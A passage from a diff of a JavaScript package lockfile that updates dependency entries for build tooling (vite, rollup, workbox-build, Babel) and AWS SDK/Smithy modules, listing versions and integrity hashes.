"sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw=="], + "verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="], + "vfile-location/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="], "vfile-location/vfile": ["vfile@5.3.7", "", { "dependencies": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", "unist-util-stringify-position": "^3.0.0", "vfile-message": "^3.0.0" } }, "sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g=="], - "webpack/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "vite/postcss": ["postcss@8.5.8", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg=="], - "webpack/eslint-scope": ["eslint-scope@5.1.1", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^4.1.1" } }, "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw=="], - - "webpack/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], + "vite/rollup": ["rollup@4.59.0", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.59.0", "@rollup/rollup-android-arm64": "4.59.0", "@rollup/rollup-darwin-arm64": "4.59.0", "@rollup/rollup-darwin-x64": "4.59.0", "@rollup/rollup-freebsd-arm64": "4.59.0", "@rollup/rollup-freebsd-x64": "4.59.0", "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", "@rollup/rollup-linux-arm-musleabihf": "4.59.0", "@rollup/rollup-linux-arm64-gnu": "4.59.0", "@rollup/rollup-linux-arm64-musl": "4.59.0", "@rollup/rollup-linux-loong64-gnu": "4.59.0", "@rollup/rollup-linux-loong64-musl": "4.59.0", "@rollup/rollup-linux-ppc64-gnu": "4.59.0", "@rollup/rollup-linux-ppc64-musl": "4.59.0", "@rollup/rollup-linux-riscv64-gnu": "4.59.0", "@rollup/rollup-linux-riscv64-musl": "4.59.0", "@rollup/rollup-linux-s390x-gnu": "4.59.0", "@rollup/rollup-linux-x64-gnu": "4.59.0", "@rollup/rollup-linux-x64-musl": "4.59.0", "@rollup/rollup-openbsd-x64": "4.59.0", "@rollup/rollup-openharmony-arm64": "4.59.0", "@rollup/rollup-win32-arm64-msvc": "4.59.0", "@rollup/rollup-win32-ia32-msvc": "4.59.0", "@rollup/rollup-win32-x64-gnu": "4.59.0", "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg=="], "winston-daily-rotate-file/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="], - "workbox-build/@babel/preset-env": ["@babel/preset-env@7.23.9", "", { "dependencies": { "@babel/compat-data": "^7.23.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.23.5", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.23.3", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.23.3", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.23.7", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-async-generators": "^7.8.4", "@babel/plugin-syntax-class-properties": "^7.12.13", "@babel/plugin-syntax-class-static-block": "^7.14.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3", "@babel/plugin-syntax-export-namespace-from": "^7.8.3", "@babel/plugin-syntax-import-assertions": "^7.23.3", "@babel/plugin-syntax-import-attributes": "^7.23.3", "@babel/plugin-syntax-import-meta": "^7.10.4", "@babel/plugin-syntax-json-strings": "^7.8.3", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", "@babel/plugin-syntax-numeric-separator": "^7.10.4", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", "@babel/plugin-syntax-optional-chaining": "^7.8.3", "@babel/plugin-syntax-private-property-in-object": "^7.14.5", "@babel/plugin-syntax-top-level-await": "^7.14.5", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.23.3", "@babel/plugin-transform-async-generator-functions": "^7.23.9", "@babel/plugin-transform-async-to-generator": "^7.23.3", "@babel/plugin-transform-block-scoped-functions": "^7.23.3", "@babel/plugin-transform-block-scoping": "^7.23.4", "@babel/plugin-transform-class-properties": "^7.23.3", "@babel/plugin-transform-class-static-block": "^7.23.4", "@babel/plugin-transform-classes": "^7.23.8", "@babel/plugin-transform-computed-properties": "^7.23.3", "@babel/plugin-transform-destructuring": "^7.23.3", "@babel/plugin-transform-dotall-regex": "^7.23.3", "@babel/plugin-transform-duplicate-keys": "^7.23.3", "@babel/plugin-transform-dynamic-import": "^7.23.4", "@babel/plugin-transform-exponentiation-operator": "^7.23.3", "@babel/plugin-transform-export-namespace-from": "^7.23.4", "@babel/plugin-transform-for-of": "^7.23.6", "@babel/plugin-transform-function-name": "^7.23.3", "@babel/plugin-transform-json-strings": "^7.23.4", "@babel/plugin-transform-literals": "^7.23.3", "@babel/plugin-transform-logical-assignment-operators": "^7.23.4", "@babel/plugin-transform-member-expression-literals": "^7.23.3", "@babel/plugin-transform-modules-amd": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-modules-systemjs": "^7.23.9", "@babel/plugin-transform-modules-umd": "^7.23.3", "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", "@babel/plugin-transform-new-target": "^7.23.3", "@babel/plugin-transform-nullish-coalescing-operator": "^7.23.4", "@babel/plugin-transform-numeric-separator": "^7.23.4", "@babel/plugin-transform-object-rest-spread": "^7.23.4", "@babel/plugin-transform-object-super": "^7.23.3", "@babel/plugin-transform-optional-catch-binding": "^7.23.4", "@babel/plugin-transform-optional-chaining": "^7.23.4", "@babel/plugin-transform-parameters": "^7.23.3", "@babel/plugin-transform-private-methods": "^7.23.3", "@babel/plugin-transform-private-property-in-object": "^7.23.4", "@babel/plugin-transform-property-literals": "^7.23.3", "@babel/plugin-transform-regenerator": "^7.23.3", "@babel/plugin-transform-reserved-words": "^7.23.3", "@babel/plugin-transform-shorthand-properties": "^7.23.3", "@babel/plugin-transform-spread": "^7.23.3", "@babel/plugin-transform-sticky-regex": "^7.23.3", "@babel/plugin-transform-template-literals": "^7.23.3", "@babel/plugin-transform-typeof-symbol": "^7.23.3", "@babel/plugin-transform-unicode-escapes": "^7.23.3", "@babel/plugin-transform-unicode-property-regex": "^7.23.3", "@babel/plugin-transform-unicode-regex": "^7.23.3", "@babel/plugin-transform-unicode-sets-regex": "^7.23.3", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "core-js-compat": "^3.31.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-3kBGTNBBk9DQiPoXYS0g0BYlwTQYUTifqgKTjxUwEUkduRT2QOa0FPGBJ+NROQhGyYO5BuTJwGvBnqKDykac6A=="], + "workbox-build/@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="], "workbox-build/@rollup/plugin-replace": ["@rollup/plugin-replace@2.4.2", "", { "dependencies": { "@rollup/pluginutils": "^3.1.0", "magic-string": "^0.25.7" }, "peerDependencies": { "rollup": "^1.20.0 || ^2.0.0" } }, "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg=="], @@ -6245,7 +6507,7 @@ "workbox-build/fs-extra": ["fs-extra@9.1.0", "", { "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ=="], - "workbox-build/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="], + "workbox-build/glob": ["glob@11.1.0", "", { "dependencies": { "foreground-child": "^3.3.1", "jackspeak": "^4.1.1", "minimatch": "^10.1.1", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^2.0.0" }, "bin": { "glob": "dist/esm/bin.mjs" } }, "sha512-vuNwKSaKiqm7g0THUBu2x7ckSs3XJLXE+2ssL7/MfTGPLLcrJQ/4Uq1CjPTtO5cCIiRxqvN6Twy1qOwhL0Xjcw=="], "workbox-build/pretty-bytes": ["pretty-bytes@5.6.0", "", {}, "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg=="], @@ -6293,6 +6555,8 @@ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="], + "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="], "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="], @@ -6317,6 +6581,12 @@ "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="], + + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], "@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], @@ -6325,6 +6595,8 @@ "@aws-sdk/client-bedrock-agent-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="], "@aws-sdk/client-bedrock-agent-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-y5ozxeQ9omVjbnJo9dtTsdXj9BEvGx2X8xvRgKnV+/7wLBuYJQL6dOa/qMY6omyHi7yjt1OA97jZLoVRYi8lxA=="], @@ -6349,62 +6621,6 @@ "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-VR2V6dRELmzwAsCpK4GqxUi6UW5WNhAXS9F9AzWi5jvijwJo3nH92YNJUP4quMpgFZxJHEWyXLWgPjh9u0zYOA=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/node-http-handler": "^4.4.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-stream": "^4.5.6", "tslib": "^2.6.2" } }, "sha512-inF09lh9SlHj63Vmr5d+LmwPXZc2IbK8lAruhOr3KLsZAIHEgHgGPXWDC2ukTEMzg0pkexQ6FOhXXad6klK4RA=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/credential-provider-env": "3.947.0", "@aws-sdk/credential-provider-http": "3.947.0", "@aws-sdk/credential-provider-login": "3.952.0", "@aws-sdk/credential-provider-process": "3.947.0", "@aws-sdk/credential-provider-sso": "3.952.0", "@aws-sdk/credential-provider-web-identity": "3.952.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/credential-provider-imds": "^4.2.5", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-N5B15SwzMkZ8/LLopNksTlPEWWZn5tbafZAUfMY5Xde4rSHGWmv5H/ws2M3P8L0X77E2wKnOJsNmu+GsArBreQ=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-WpanFbHe08SP1hAJNeDdBDVz9SGgMu/gc0XJ9u3uNpW99nKZjDpvPRAdW7WLA4K6essMjxWkguIGNOpij6Do2Q=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.952.0", "", { "dependencies": { "@aws-sdk/client-sso": "3.948.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/token-providers": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-1CQdP5RzxeXuEfytbAD5TgreY1c9OacjtCdO8+n9m05tpzBABoNBof0hcjzw1dtrWFH7deyUgfwCl1TAN3yBWQ=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-5hJbfaZdHDAP8JlwplNbXJAat9Vv7L0AbTZzkbPIgjHhC3vrMf5r3a6I1HWFp5i5pXo7J45xyuf5uQGZJxJlCg=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, 